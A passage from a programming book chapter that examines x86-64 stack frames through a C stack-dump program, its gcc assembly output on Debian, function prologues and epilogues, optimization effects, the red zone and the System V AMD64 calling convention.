    f2(f1v1, f1v2-6, f1v3-0x5FF00, f1v4-0x5FF00);                                       
    } 

   int main(int argc, char **argv) 
    { 
    int f0v1=0x31763066; 

      nRows = (argc>1)? atoi(argv[1]) : MAX_ROWS;                                         
    printf("\nAddress of main() = %p\n", main); 
    f1(f0v1-0x5FF00); 
    return 0; 
    } 

    This code needs some brief explanation to clarify how the functions work and what each one does.     

     Function  getSP      
 The function  getSP  returns a pointer to the top of the stack frame of  f2() ; that is, the top of the stack as it was 
before the call to  getSP() . 

 The stack frame of  getSP()  has size 2* psize  bytes because it contains only  BP_C  and  IP_C , which point 
to the stack frame and the code of  f2() , respectively. 

 The current value of  rSP  is copied to the  rAX  register; then the size of the  getSP()  stack frame is added 
to  rAX , obtaining the requested address (see Figure  5-10 , which shows the entire stack frame content and the 
role of registers  rBP  and  rSP ).  

 Compilers tell us that the  return  instruction is missing (“control reaches end of nonvoid function”); some 
of them may automatically add an assembly instruction to compensate for the missing  return . It’s therefore 
advisable to check the assembly code (see the file created by  gcc -S p.c ) before starting the executable. There 
are better ways to solve this problem, but we’ll keep the actual code to see how compilers  behave     .  

     Function  getBP      
 The function  getBP  returns in  rAX  the address that was in the  rBP  register before the call to  getBP() . That’s 
why it is  movq (%rbp), %rax  instead of  movq %rbp, %rax : the expression ( %rbp ) means  *rbp  in C ( *rbp  is the 
preceding value, saved on the stack when  getBP  starts). 

  Figure 5-10.    Stack frame of function  getSP        
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       The description of  getSP()  also applies to  getBP() , except that we don’t need to add 2* psize  bytes to  rBP . 
 If we want to enable optimization, we must carefully check the assembly code before starting the 

executable: a null value of  rBP  would break the program, triggering a segmentation fault. In other words, 
the instruction  movq (%rBP), %rAX  would break the program if the first operand of  movq , namely  (%rBP) , 
doesn’t exist .In such a case the function  getBP  could be written as 

   unsigned char *getBP() { return NULL; } 

   In addition, even  getSP()  should be changed: if  rBP  becomes available as a general-purpose register, 
we have to add  psize  (not 2* psize ) to  rAX .  

     Function  Dump      
 The function  Dump , called by  f2() , prints the memory contents between addresses  p  (included) and  q  
(excluded). Each line shows 16 bytes (one  paragraph ); their ASCII codes are printed on the left. On the right 
are the corresponding characters (if printable; otherwise they are replaced by dots). 

 The 16 bytes on the left are divided into 4 groups, each containing 4 bytes, separated by spaces. The 
address of the low byte of each line is printed on the left; to reduce the line length, only the two least-
significant bytes of that address will be printed. To this end the pointer  p  is converted to  uint16_t  since it’s 
not guaranteed that the  unsigned short int  type has size 16 bits. This causes a warning message during 
compilation: “warning: cast from pointer to integer of different size.” 

 Alternatively we could write: 

   (unsigned short int)p & 0xffff. 

   Because the type  short int  has a size of 16 bits in all of the operating systems that have been chosen 
for testing, we could simply write  (unsigned short int)p . 

 Yet another alternative is to use  memcpy() , which avoids that annoying warning message: 

   if(col==1) { memcpy(&addr, &p, 2); printf("..%04X > ", addr); } 

   where the variable  addr  has type  unsigned short int .  

     Function  f 2      
 This is the function that calls  Dump()  to get a memory dump. So we can easily locate parameters and local 
variables within output data, initialization values represent variable names. For example, the first variable of 
 f2()  has name the  f2v1  and is initialized with 0x31763266 because:

   66 = ASCII code of character  f  (low byte, stored at the lowest address)  

  32 = ASCII code of character  2   

  76 = ASCII code of character  v    

   31 = ASCII code of character  1  (high byte, stored at the highest address according to 
the little-endian encoding.) Searching for this variable is therefore easy: we have to 
search for the byte sequence 66 32 76 31 or, in the right column, the string “f2v1”.    

 The variable  bp  of  f2()  contains the address returned by  getBP() ; therefore (as discussed under “Stack 
Frames” earlier in the chapter) * bp  points inside the stack frame of  f1() . 
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 Let’s note that since the variable  bp  has been declared of type  unsigned char * , the referenced object, 
* bp , has the type  unsigned char ; so, to let * bp  be a pointer, we need a cast:  *(unsigned char **)bp . In a 
similar way, ** bp  needs a cast:  **(unsigned char ***)bp . ** bp  points inside the stack frame of  main() . 
Figure  5-11  shows the dynamic chain, excluding the service functions.   

     Function  f1      
 This intermediate function, called by  main() , calls  f2() . The integer variable  f1v3  contains 0x33763166; if it 
is interpreted as a character array, in which case  f1v3  contains the string “f 1 v 3”. Actually, 0x33763166 is not 
a string, since the null terminator is missing. When copying it as a parameter, we want it to become “f2p3” 
(function  f2 , parameter 3), that is, 0x33703266. Therefore, from  f1v3  we subtract 0x33763166 - 0x33703266 
= 0x5ff00. The same applies to  f1v4  and  f0v1 . Note that  f1v2  contains 0x3276 ( v2 ); to obtain 0x3270 ( p2 ) we 
subtract 6.  

     Function  main   
 This is the starting function, which takes one optional command-line argument and passes it to  Dump()  
through the global variable  nRows , which tells  Dump()  how many lines to print. But the assignment 
instruction accepts 0 and negative values. 

 If this should happen, the second parameter of  Dump()  would be less than (or equal to) the first 
one;[ 6 ] therefore,  Dump()  would print nothing, because the loop is executed only if  p  (=  sp ) is less than  q  
( sp + nRows *16). Generally speaking, it’s a good idea to check function parameters; so  Dump()  does it, and 
returns -1 to notify of an invalid parameter. To simplify output parsing, all parameters and local variables 
have type  integer  or  pointer . 

 This simple program will be our tool for investigating stack frames. The reader can modify it by adding 
instructions to print additional information or removing some others. Particularly, as we’ll see, the functions 
 getBP  and  getSP  can be moved to an external assembly file to get a more portable executable. In the 
following sections the test program will be compiled and executed on different environments to learn by 
examining and comparing the results.   

     Test on  Debian      (64-bit) 
 In the following illustrations you’ll notice the background colors that are useful for better readability:

•    Parameters: light-blue or cyan;  

•   Local variables: orange or magenta;  

•   Dynamic links ( BP_C ): yellow;  

•   Return addresses ( IP_C ): green.    

  Figure 5-11.    A  dynamic chain         

   6  If nRows ≤ 0 then sp+nRows*16 ≤ sp.  
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 This way it’s easy to  identify   the stack frames.   
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      Test on Debian (64-bit): Stack Frame of f2()    
 This record begins with the parameters of  f2() ; they are copied onto the stack in the same order as they 
appear in the function call: first  p1  (at the highest address, as discussed earlier), then  p2 ,  p3 , and last at the 
lowest address,  p4 . But since output data show bytes from lower to higher addresses, function parameters 
appear in reverse order: we see first  p4 , then  p3 ,  p2 , and last  p1 ; the assembly code will reveal that they are 
 copies  of parameters, passed by the calling function through registers. 

 This is the default order, but it’s not always observed. In fact, the compiler stores an 8-byte object 
(for example, a pointer or  long int ) in a semi-paragraph (never in the middle of it or between two adjacent 
paragraphs) and a 4-byte object (such as an integer) in a quarter of a paragraph. This is graphically 
summarized in Figure  5-12    .  

 So if we change the type of  p2  to  pointer , the order changes: the parameter with the lowest address is 
now  p2 , then  p3 , and finally  p1 . Figure  5-13  shows the new arrangement of the frame.  

 Let’s come back to our original program: as we can see from output data, the first paragraph of the stack 
frame contains only  p4  (of type  long int ); it holds the 8 bytes with higher addresses. The first 8 bytes are just 
for keeping the  RSP  register aligned (multiple of 16, prior to call a function). 

 The second paragraph contains the remaining three parameters: 
  p3  (it holds four bytes since it has type  int ); 
  p2  (it holds two bytes since it has type  short int ); 
  p1  (it holds one byte since it has type  char ). 
 They all hold seven bytes; the remaining nine are unused (they contain “garbage”). 
 We can see that, even though only one byte is requested by  p1 , the compiler reserves four bytes, as if 

 p1  were of type  int . This doesn’t mean that  p1  can expand itself to occupy the remaining three bytes; they 
function only as “spacers” between parameters. 

 Let’s note that with four bytes the numeric value could go beyond 127 (the limit is 127 because this 
compiler treats the type  char  as signed, not as unsigned). To make a test we can modify, in the C source, the 
call to  f2()  like this:     

   f2(0x123 45 , f1v2-6, f1v3-0x5FF00, f1v4-0x5FF00); 

   The compiler does create the executable but warns: “overflow in implicit constant conversion.” Now the last 
four bytes in the second line are  45  7F 00 00. This proves that only the low byte of the first parameter has been 
passed to  f2() . The four-byte stack area containing  p1  is aligned so that the address of its low byte is a multiple of 4. 

  Figure 5-13.    If the type of  p2  changes from  short int  to pointer, its position within the stack frame of  f2()  
changes, too       

  Figure 5-12.    Possible locations for 4-byte and 8-byte objects       
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 The same applies to  p2 : since it has type  short int , two bytes are needed, but the compiler reserves 
four bytes on the stack, two of which are unused. The first four bytes of the second paragraph are left unused 
to avoid putting  p4  between two paragraphs (the low byte address would not be a multiple of 8). 

 The third and fourth paragraphs contain the local variables of  f2() ; they all, along with the parameters, 
are allocated on the stack in the same order as they appear in the source: 

  f2v1  (four bytes; the first to be allocated at the highest address in the fourth paragraph) 
  sp  (8 bytes, since it’s a pointer; its value was already printed by  f2() ) 
  bp  (8 bytes; the last to be allocated, at the lowest address, in the third paragraph) 
 Here, too, there are some “empty spaces”: four bytes are placed between  f2v1  and  sp  (to correctly 

align  sp , thus avoiding putting  sp  in the middle of the paragraph), and 8 bytes are placed on the left of  bp  to 
separate parameters from local variables. 

 This compiler doesn’t mix parameters and local variables in the same paragraph; that’s why the 8 bytes 
on the left of  bp  are not used, even though they could host the first two parameters, so that the layout shown 
in Figure  5-14  cannot take place.  

 The fifth paragraph contains the dynamic link ( BP_C  = 0x7fffb02c37b0 pointed to by  RBP , whose value is 
0x7fffb02c3780) and the return address ( IP_C  = 0x400883), which points inside the code of  f1() :    

   from 0x400885 to   ...       code of main() 
 from 0x400822 to   0x400884  code of f1() 
 from  ...        to   0x400821  code of f2() 

        Test on Debian (64-bit): Stack Frame of f1() 
 On the right side of the first paragraph we see  f1p1 : it is the parameter of  f1() . The first 12 bytes, not used, 
are needed to align  RSP  correctly (to be a multiple of 16). The second paragraph contains all local variables. 
The first one ( f1v1 , of type  char ) holds only one byte; another byte is  unused  . 

 If we add a new local variable ( f1v5  of type  char ) and declare it before  f1v1 , we find the second 
paragraph to be entirely filled without empty spaces, as shown in Figure  5-15 .  

 If  f1v5  is declared after  f1v4 , the unused byte between  f1v1  and  f1v2  still exists because the compiler 
stores variables in the same order as they are declared; that’s why  f1v5  is stored in a new paragraph. 
Figure  5-16  shows the new layout.  

  Figure 5-14.     gcc  doesn’t mix parameters and local variables in the same paragraph       

  Figure 5-15.    A new  char  variable is added to function  f1  before any other local variable       
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 One last try: let’s swap types for  f1v2 ,  f1v4 : 

      char       f1v1=0x31;         /* "1"    */ 
    long int   f1v2=0x4847464544434241; 
    int        f1v3=0x33763166;   /* "f1v3" */ 
    short int  f1v4=0x3476;       /* "v4"   */ 
    char       f1v5=0x35;         /* "5"    */ 

   This change causes a rearrangement of the stack frame so that all variables get the correct alignment, as 
we can see in Figure  5-17 .  

 All the tests we have performed tell us that an  n -byte variable is allocated on the stack so that its address 
is a multiple of  n . We could go on to explore how objects of other types ( float ,  double , structures, and so on) 
are allocated, but what we have done is  enough  .  

     Test on Debian (64-bit): Stack Frame of main() 
 The function  main  has two parameters ( argc : 4 bytes,  argv : 8 bytes) and only one local variable ( f0v1 : 4 
bytes); they are stored on the stack as said before. There are 4 free bytes in the first paragraph (containing 
parameters) and 12 in the  second   (containing the variable  f0v1 ). 

 As an exercise, the reader can try to search for the contents of  argv[]  inside the stack, particularly the 
string pointed to by  argv[0] , starting from the stack frame of  main() . It requires executing the program 
again, asking  Dump()  to print many more lines (400 should be enough). 

 The third paragraph contains the dynamic link and the return address. Note that now the dynamic link 
is null. 

 The last pointer in the dynamic chain has a NULL value. The return address (whose value is 
0x7f151a613b45) points inside the function __ libc_start_main (), which called  main ()[ 7 ]: 

   0x7f151a613b45 <__libc_start_main+245>:     mov    %eax,%edi 

  Figure 5-17.    If we swap two variables, the stack frame layout changes to align all variables correctly       

  Figure 5-16.    A new char variable is added to function  f1  after the last local variable       

   7  Don’t forget that  main()  is the main function, as its name suggests, only for us; actually  main()  is called by  __libc_
start_main() . When  main()  terminates,  __libc_start_main()  continues execution: 
 <_libc_start_main+243>:    callq *%rax          # Calls main() 
<_libc_start_main+245>:    mov   %eax,%edi      # Copies the return value to EDI 
<_libc_start_main+247>:    callq 0x7ffff7a68c40 # Calls__GI_exit()   
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        Test on Debian (64-bit): Assembly Code 
 The assembly code is long but very useful to clear  up   any doubts that may arise when reading output data 
and to get important information. Let us create it and study it: 

   g.$  gcc -S stackDump.c            # Creates the file stackDump.s containing the assembly code 
 stackDump.c: In function 'Dump': 
 stackDump.c:36:38: warning: cast from pointer to integer of different size 
 if(col==1) printf("..%04X > ", (uint16_t)p); 
                                ^ 
 g.$  cat stackDump.s               # Shows the contents of stackDump.s 
         .file  "stackDump.c" 
         .comm  nRows,4,4 
         .text 
         .globl getSP 
         .type  getSP, @function 
  getSP : 
 .LFB2: 
         .cfi_startproc 
         pushq  %rbp 
         .cfi_def_cfa_offset 16 
         .cfi_offset 6, -16 
         movq   %rsp, %rbp 
         .cfi_def_cfa_register 6 
 #APP 
 # 17 "stackDump.c" 1 
         movq %rsp, %rax 
         addq $16, %rax 
 # 0 "" 2 
 #NO_APP 
         popq   %rbp 
         .cfi_def_cfa 7, 8 
         ret 
         .cfi_endproc 
 .LFE2: 
         .size  getSP, .-getSP 
         .globl getBP 
         .type  getBP, @function 
  getBP : 
 .LFB3: 
         .cfi_startproc 
         pushq  %rbp 
         .cfi_def_cfa_offset 16 
         .cfi_offset 6, -16 
         movq   %rsp, %rbp 
         .cfi_def_cfa_register 6 
 #APP 
 # 23 "stackDump.c" 1 
         movq (%rbp), %rax 
 # 0 "" 2 
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 #NO_APP 
         popq   %rbp 
         .cfi_def_cfa 7, 8 
         ret 
         .cfi_endproc 
 .LFE3: 
         .size getBP, .-getBP 
         .section     .rodata 
 .LC0:     
         .string "Dump:" 
 .LC1: 
         .string "..%04X > " 
 .LC2: 
         .string "%02X " 
         .text 
         .globl Dump 
         .type  Dump, @function 
  Dump : 
 .LFB4: 
         .cfi_startproc 
         pushq  %rbp 
         .cfi_def_cfa_offset 16 
         .cfi_offset 6, -16 
         movq   %rsp, %rbp 
         .cfi_def_cfa_register 6 
         subq   $32, %rsp 
         movq   %rdi, -24(%rbp) 
         movq   %rsi, -32(%rbp) 
         cmpq   $0, -24(%rbp) 
         je     .L4 
         cmpq   $0, -32(%rbp) 
         je     .L4 
         movq   -24(%rbp), %rax 
         cmpq   -32(%rbp), %rax 
         jb     .L5 
 .L4: 
         movl   $-1, %eax 
         jmp    .L6 
 .L5: 
         movl   $.LC0, %edi 
         call   puts 
         movl   $1, -4(%rbp) 
         jmp    .L7 
 .L15: 
         cmpl   $1, -4(%rbp) 
         jne    .L8 
         movq   -24(%rbp), %rax 
         movzwl %ax, %eax 
         movl   %eax, %esi 
         movl   $.LC1, %edi 
         movl   $0, %eax 
         call   printf 
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 .L8: 
         movq   -24(%rbp), %rax 
         movzbl (%rax), %eax 
         movzbl %al, %eax 
         movl   %eax, %esi 
         movl   $.LC2, %edi 
         movl   $0, %eax 
         call   printf 
         movl   -4(%rbp), %eax 
         andl   $3, %eax 
         testl  %eax, %eax 
         jne    .L9 
         movl   $32, %edi 
         call   putchar 
 .L9:     
         cmpl   $16, -4(%rbp) 
         jne    .L10 
         jmp    .L11 
 .L14: 
         call   __ctype_b_loc 
         movq   (%rax), %rdx 
         movl   -4(%rbp), %eax 
         cltq 
         movl   $1, %ecx 
         subq   %rax, %rcx 
         movq   -24(%rbp), %rax 
         addq   %rcx, %rax 
         movzbl (%rax), %eax 
         movzbl %al, %eax 
         movl   %eax, -8(%rbp) 
         movl   -8(%rbp), %eax 
         cltq 
         addq   %rax, %rax 
         addq   %rdx, %rax 
         movzwl (%rax), %eax 
         movzwl %ax, %eax 
         andl   $16384, %eax 
         testl  %eax, %eax 
         je     .L12 
         movl   -8(%rbp), %eax 
         jmp    .L13 
 .L12: 
         movl   $46, %eax 
 .L13: 
         movl   %eax, %edi 
         call   putchar 
         subl   $1, -4(%rbp) 
 .L11: 
         cmpl   $0, -4(%rbp) 
         jg     .L14 
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         movl   $10, %edi 
         call   putchar 
 .L10: 
         addl   $1, -4(%rbp) 
         addq   $1, -24(%rbp) 
 .L7: 
         movq   -24(%rbp), %rax 
         cmpq   -32(%rbp), %rax 
         jb     .L15 
         movl   $10, %edi 
         call   putchar 
         movl   $0, %eax 
 .L6: 
         leave 
         .cfi_def_cfa 7, 8 
         ret 
         .cfi_endproc 
 .LFE4:     
         .size   Dump, .-Dump 
         .section        .rodata 
 .LC3: 
         .string "Address of f2()   = %p\n\n" 
 .LC4: 
         .string "f2: SP = %p\n    BP = %p\n\n" 
 .LC5: 
         .string "f2: warning: Dump aborted" 
         .text 
         .globl f2 
         .type f2, @function 
  f2 : 
 .LFB5: 
         .cfi_startproc 
         pushq  %rbp 
         .cfi_def_cfa_offset 16 
         .cfi_offset 6, -16 
         movq   %rsp, %rbp 
         .cfi_def_cfa_register 6 
         subq   $64, %rsp 
         movl   %esi, %eax 
         movl   %edx, -44(%rbp) 
         movq   %rcx, -56(%rbp) 
         movb   %dil, -36(%rbp) 
         movw   %ax, -40(%rbp) 
         movl   $829829734, -4(%rbp) 
         movl   $0, %eax 
         call   getSP 
         movq   %rax, -16(%rbp) 
         movl   $0, %eax 
         call   getBP 
         movq   %rax, -24(%rbp) 
         movl   $f2, %esi 
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         movl   $.LC3, %edi 
         movl   $0, %eax 
         call   printf 
         movq   -24(%rbp), %rdx 
         movq   -16(%rbp), %rax 
         movq   %rax, %rsi 
         movl   $.LC4, %edi 
         movl   $0, %eax 
         call   printf 
         movl   nRows(%rip), %eax 
         sall   $4, %eax 
         movslq %eax, %rdx 
         movq   -16(%rbp), %rax 
         addq   %rax, %rdx 
         movq   -16(%rbp), %rax 
         movq   %rdx, %rsi 
         movq   %rax, %rdi 
         call   Dump 
         testl  %eax, %eax 
         je     .L16 
         movl   $.LC5, %edi 
         call   puts 
 .L16:     
         leave 
         .cfi_def_cfa 7, 8 
         ret 
         .cfi_endproc 
 .LFE5: 
         .size   f2, .-f2 
         .section        .rodata 
 .LC6: 
         .string "Address of f1() = %p\n" 
         .text 
         .globl  f1 
         .type   f1, @function 
  f1 : 
 .LFB6: 
         .cfi_startproc 
         pushq %rbp 
         .cfi_def_cfa_offset 16 
         .cfi_offset 6, -16 
         movq %rsp, %rbp 
         .cfi_def_cfa_register 6 
         subq   $32, %rsp 
         movl   %edi, -20(%rbp) 
         movb   $49, -1(%rbp) 
         movw   $12918, -4(%rbp) 
         movl   $863383910, -8(%rbp) 
         movq   $880161126, -16(%rbp) 
         movl   $f1, %esi 
         movl   $.LC6, %edi 
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         movl   $0, %eax 
         call   printf 
         movq   -16(%rbp), %rax 
         leaq   -392960(%rax), %rcx 
         movl   -8(%rbp), %eax 
         leal   -392960(%rax), %edx 
         movzwl -4(%rbp), %eax 
         subl   $6, %eax 
         movswl %ax, %esi 
         movsbl -1(%rbp), %eax 
         movl   %eax, %edi 
         call   f2 
         leave 
         .cfi_def_cfa 7, 8 
          ret   
         .cfi_endproc 
 .LFE6: 
         .size   f1, .-f1 
         .section        .rodata 
 .LC7: 
         .string "\nAddress of main() = %p\n" 
         .text 
         .globl  main 
         .type   main, @function 
  main : 
 .LFB7: 
         .cfi_startproc 
         pushq %rbp 
         .cfi_def_cfa_offset 16 
         .cfi_offset 6, -16 
         movq %rsp, %rbp 
         .cfi_def_cfa_register 6 
         subq   $32, %rsp 
         movl   %edi, -20(%rbp) 
         movq   %rsi, -32(%rbp) 
         movl   $829829222, -4(%rbp) 
         cmpl   $1, -20(%rbp) 
         jle    .L20 
         movq   -32(%rbp), %rax 
         addq   $8, %rax 
         movq   (%rax), %rax 
         movq   %rax, %rdi 
         call   atoi 
         jmp    .L21 
 .L20: 
         movl   $20, %eax 
 .L21: 
         movl   %eax, nRows(%rip) 
         movl   $main, %esi 
         movl   $.LC7, %edi 
         movl   $0, %eax 
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         call   printf 
         movl   -4(%rbp), %eax 
         subl   $392960, %eax 
         movl   %eax, %edi 
         call   f1 
         movl   $0, %eax 
         leave 
         .cfi_def_cfa 7, 8 
         ret 
         .cfi_endproc 
 .LFE7: 
         .size   main, .-main 
         .ident  "GCC: (Debian 4.9.2-10) 4.9.2" 
         .section       .note.GNU-stack,"",@progbits 
 g.$     

        The Prologue of a Function 
 Reading the assembly code, we notice the repeated occurrence of a preliminary procedure at the beginning 
of each function’s code. By the  prologue  of a function, we mean the sequence of operations preceding the 
true code of the function. Usually the  prologue      includes the following:

•    The copy of  RBP  to the stack  

•   The copy of  RSP  to  RBP   

•   The backup copy of nonvolatile registers, if needed  

•   The decrement of  RSP  to save space for local variables, copies of parameters that are 
passed through registers, and data for functions to be called    

 For instance, the prologue of  f2()  looks like this: 

           pushq  %rbp              # Copies RBP to the stack (we called BP_C this copy) 
         movq   %rsp, %rbp        # Copies RSP to RBP (now RBP points to BP_C) 
         subq   $64, %rsp         # Allocates 32 bytes for variables and 32 bytes for copies of 
                                    parameters 

   The prologue is followed by some instructions that copy parameters from registers (where they were 
saved by the caller) to the stack: 

           movl   %esi, %eax        # Copies ESI to EAX 
         movl   %edx, -44(%rbp)   # Copies the 3rd parameter (int p3) to the stack 
         movq   %rcx, -56(%rbp)   # Copies the 4th parameter (long int p4) to the stack 
         movb   %dil, -36(%rbp)   #  Copies the 1st parameter (char p1); DIL is the low byte of RDI 
         movw   %ax,  -40(%rbp)   # Copies the 2nd parameter (short int p2) to the stack 

   After that there are some initializations of local variables: 

           movl    $829829734, -4(%rbp)    # Initializes f2v1 ( 829829734 = 0x31763266 = "f2v1" ) 
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   The prologues of the other functions look like the prologue of  f2() , with slight differences since the 
number of parameters and local variables to save on the stack varies. For instance,  main() ,  f1()  and  Dump()  
each allocate two paragraphs for local variables and copies of parameters, and so their prologues contain 
 subq $32, %rsp .        

 Because  getSP()  and  getBP()  have neither parameters nor local variables, their prologues don’t have 
instructions such as  subq $xx, %rsp   

     The  Epilogue      of a Function 
 The  epilogue  of a function is the set of operations to be executed, when the function terminates, to restore the 
contents of  RSP  and  RBP  as well as of the nonvolatile registers, and finally to return control to the calling function. 

 For example, the epilogue of  f2()  is this: 

   leave     # Restores RSP, RBP (it's the same as "movq %rbp, %rsp" + "popq %rbp") 
 ret       # Returns to the caller: Copies the return address to RIP, and then adds 8 to RSP. 

   The instruction  movq %rbp, %rsp  can be replaced by  addq $n, %rsp ; therefore, the instruction  leave  
in  f2()  can be replaced by  addq $64, %rsp + popq %rbp , while in  Dump() ,  f1() , and  main() , it can be 
replaced by  addq $32, %rsp + popq %rbp . 

 Sometimes (when it is ineffective)  movq %rbp, %rsp  can be omitted;  gcc  does that for  getSP()  and 
 getBP() , hence  leave  is replaced only by  popq %rbp . Note that even  popq %rbp  may be missing; therefore 
the epilogue contains only  ret  or  movq %rbp, %rsp + ret . 

 The instruction passing the return value to the caller precedes the epilogue but doesn’t belong to it.  

      Variations   in Prologues and Epilogues 
 Prologue and epilogue depend on the related function, compiler, and its options; more specifically, we’ll see 
the influence of code optimization. Some examples are useful to clarify. If we use  gcc  v. 4.4.5 on Debian 6 
(without enabling optimization), the prologue of function  f2  looks like this: 

           pushq   %rbp 
         movq    %rsp, %rbp 
         pushq   %rbx                 # Makes a backup copy of RBX before modifying it 
         subq    $72, %rsp            # RSP is still multiple of 16 

   And the epilogue is this:     

           addq    $72, %rsp             # Restores RSP to point to the copy of RBX on the stack 
         popq    %rbx                 # Restores the original value of RBX 
         leave 
         ret 

   If we compile using  gcc  v. 4.7.2 on Debian 7 and activate code optimization, the compiler doesn’t use 
the register  RBP  (see the section “Stack Frames” earlier in the chapter), which becomes available for storing 
data, thus skipping stack usage. But optimization doesn’t change the calling convention or the naming 
convention. To do such a compilation, we have to add the option  -O  to activate optimization: 

   g.$  gcc -S -O stackDump.c  
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   Let’s start by examining the code of  f1() : 

           subq   $8, %rsp 
         movl   $f1, %esi              # 2nd argument of printf(): f1 
         movl   $.LC6, %edi            # 1st argument of printf(): "Address of f1() = %p\ n " 
         movl   $0, %eax               # EAX is a hidden argument [ 8 ] 
         call   printf                 # printf("Address of f1() = %p\ n ", f1); 
         movl   $879768166, %ecx       # 0x34703266 = "f2p4" 
         movl   $862990950, %edx       # 0x33703266 = "f2p3" 
         movl   $12912, %esi           # 0x3270 = "p2" 
         movl   $49, %edi              # 0x31 = "1" 
         call   f2                     # f2(f1v1, f1v2-6, f1v3-0x5FF00, f1v4-0x5FF00); 
         addq   $8, %rsp 
         ret 

   Here  RBP  is missing; it is useless because the stack is not used: all data are placed in registers (including 
 RBP  if needed). So the stack frame of  f1()  drops to  only one paragraph  containing the return address, copied 
onto the stack by the instruction  call f1  of  main() . 

 As a consequence,  RSP  is no longer a multiple of 16; to keep the alignment, the compiler adds in the 
prologue the instruction  subq $8, %rsp  and in the epilogue the opposite:  addq $8, %rsp .  

 The prologue of  f1()  drops to only one instruction ( subq $8, %rsp ), which is not intended to allocate 
stack space for local variables.     

 The epilogue of  f1()  contains the following instructions: 

           addq   $8, %rsp                                 # It was "leave" 
         ret 

   Even the prologue of  f2()  has been changed: 

   pushq   %rbp 
 pushq   %rbx 
 subq    $8, %rsp 

   In this case the register  RBP  doesn’t hold the dynamic link;  RBP  and  RBX  have the same purpose: to 
save the value of register  RAX , containing a return value, before  RAX  may be overwritten. Since they both are 
nonvolatile registers, the compiler copies their initial values to the stack. 

 Here, too, the instruction  subq $8, %rsp  is used to keep  RSP  aligned. The epilogue of  f2()  changes 
accordingly: 

           addq   $8, %rsp                                 # Inverse of "subq $8, %rsp" 
         popq   %rbx                                     # Inverse of "pushq %rbx" 
         popq   %rbp                                     # Inverse of "pushq %rbp" 
          ret   

         Optimization Issues   
 The execution of the optimized program produces a segmentation fault; therefore, both functions  getSP()  
and  getBP()  need to be modified as outlined in the discussion of function  getBP() . Once we have done 
those modifications, the executable program can be started; but in the output data there are neither 
parameters nor local variables, because those are stored inside registers to increase the execution speed. 

   8  The calling convention requires that before calling a function with no prototype or with a variable number of parameters, 
the calling function must store in  AL  (the low byte of  RAX ) the maximum number of SSE registers (XMM0-7) used. 
Therefore  AL  works like a hidden additional parameter.  
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 Even the dynamic chain disappears (dynamic links are missing); the stack is used only to store return 
addresses (with a green background in Figure  5-18 ) and copies of nonvolatile registers (with light blue 
background). The actual layout of stack frames is shown in Figure  5-18 .   

     Speeding Up  Execution   
 We have seen that compilers use the register  RBP  in a nonstandard way when code optimization is enabled, but 
this can happen even if we don’t ask for optimization. In other words, base pointer usage is not mandatory. 

 As a trivial example, we can write the following: 

   int g2(int p1) { return p1; } 
 int g1(int p1) { return g2(p1); } 
 int main()     { return g1(65); } 

   The unoptimized assembly code for function  g2  is this: 

           pushq  %rbp 
         movq   %rsp, %rbp                                 # From here on out RSP = RBP 
         movl   %edi, -4(%rbp) 
         movl   -4(%rbp), %eax 
         popq   %rbp 
         ret 

   The stack frame of function  g2  holds two paragraphs: one for the dynamic link and the return address, 
another for the copy of parameter  p1 . 

 The instruction  subq $16, %rsp  is missing because the compiler optimizes the code, thus saving two 
instructions:  subq $16, %rsp  in the prologue and  addq $16, %rsp  in the epilogue.  

 The parameter  p1  (and local variables, if any) is stored in the  red zone  of the stack: this is a 128-byte 
memory area with base address  RSP-128  (therefore located on the left of the stack boundary). 

 The red zone is treated by the operating system as a private area to be used by  g2() . Figure  5-19  shows 
how it looks.  

  Figure 5-18.    Stack frames of the optimized  program          

  Figure 5-19.    The red zone of the stack is used as a private area for  storing data           
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 The red zone is used to store temporary data (even the entire stack frame) by what are called  leaf 
functions,  which don’t call any other function, because that zone would be overwritten by function calls. 
This avoids adjusting the stack pointer in the prologue and epilogue.   

 Since  g1()  calls  g2() , the red zone is not used by  g1() ; Figure  5-20  shows the stack frame of  g1() . 

      Stack Pointer Alignment  —an Exception 
 When reading the previous code listing (see Figure  5-20 ) we find that the stack pointer is properly aligned 
before  call g1 , but  not  before  call g2 . It is an exception that doesn’t occur if recompiling with  clang . 
Adding local variables to  g1()  or  g2()  doesn’t correct the stack alignment; for example: 

   int g2(int p1) { int v1=2; return p1+v1; } 
 int g1(int p1) { int v1=1; return g2(p1+v1); } 
 int main()     { return g1(65); } 

   The assembly code and the stack frame for  g1()  are shown in Figure  5-21 . The instruction  subq $24, 
%rsp  produces a stack pointer misalignment.  

  Figure 5-20.    Stack frame of  g1() ; it doesn’t use the red zone. The stack pointer is not properly aligned       

  Figure 5-21.    Another example showing stack pointer  misalignment         

   9  For details, see    http://www.x86-64.org/documentation_folder/abi-0.99.pdf     .  

 If in  g2()  we add  putchar(p1)  before  return,  the compiler stops using the red zone for  g2()  and 
correctly aligns  RSP  before calling  g2() .  

     Test on Debian (64-bit):  Calling and Naming Conventions   
 The information obtained from our tests, even if incomplete, is enough to recognize the calling convention 
adopted by  gcc :  System V AMD64 ABI . This convention is defined by a document[ 9 ] that gives details about 
the interface for compiled programs ( ABI: Application Binary Interface ). 

 

 

http://www.x86-64.org/documentation_folder/abi-0.99.pdf
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 The ABI is a set of common rules (of which the calling convention is only a part) ensuring compatibility 
and portability of binary code. This way the various parts of a complex application can be linked together 
and correctly executed on all systems that honor the same rules. 

 The ABI specifies calling convention, object and executable file format, structure of software packages, 
package installation and uninstallation procedure, archive file format, libraries (and included functions), 
procedure for loading executables, libraries linking, network protocols, system commands, execution 
environment, file system structure, and much more. 

 We can divide the ABI into two parts:

    1.     gABI  ( g  stands for “Generic”) contains portable standard specifications, those 
that don’t depend on the hardware platform (type of processor)[ 10 ]. 

   Some sections are left empty, with a note “Processor-Specific”; they refer to 
another document (psABI, discussed next), which integrates the ABI.  

    2.     psABI  ( ps  stands for “Processor Specific”) is the part depending on the hardware 
platform. There is one psABI for each hardware platform.[ 11 ]     

   That’s why our ABI has this description on the first page:    

   System V Application Binary Interface    

   AMD64 Architecture Processor Supplement   

 Following is a list of the most important characteristics of the calling convention.

•    Before calling a function, the stack pointer (RSP) must be a multiple of 16.  

•   Arguments of type pointer or integer (included  char ,  short int , and so on) 
are passed by the calling function in registers RDI, RSI, RDX, RCX, R8, and R9. 
Arguments of type float or double are passed in registers XMM0-7. Additional 
arguments are passed on the stack in reverse order.  

•   The nonvolatile registers are RSP, RBP, RBX, R12, R13, R14, and R15.

•    Each function allocates and then removes from the stack its own local 
variables,[ 12 ] but the removal of the whole stack frame[ 13 ] is completed by the 
caller, which is responsible for allocating stack space for any extra parameters 
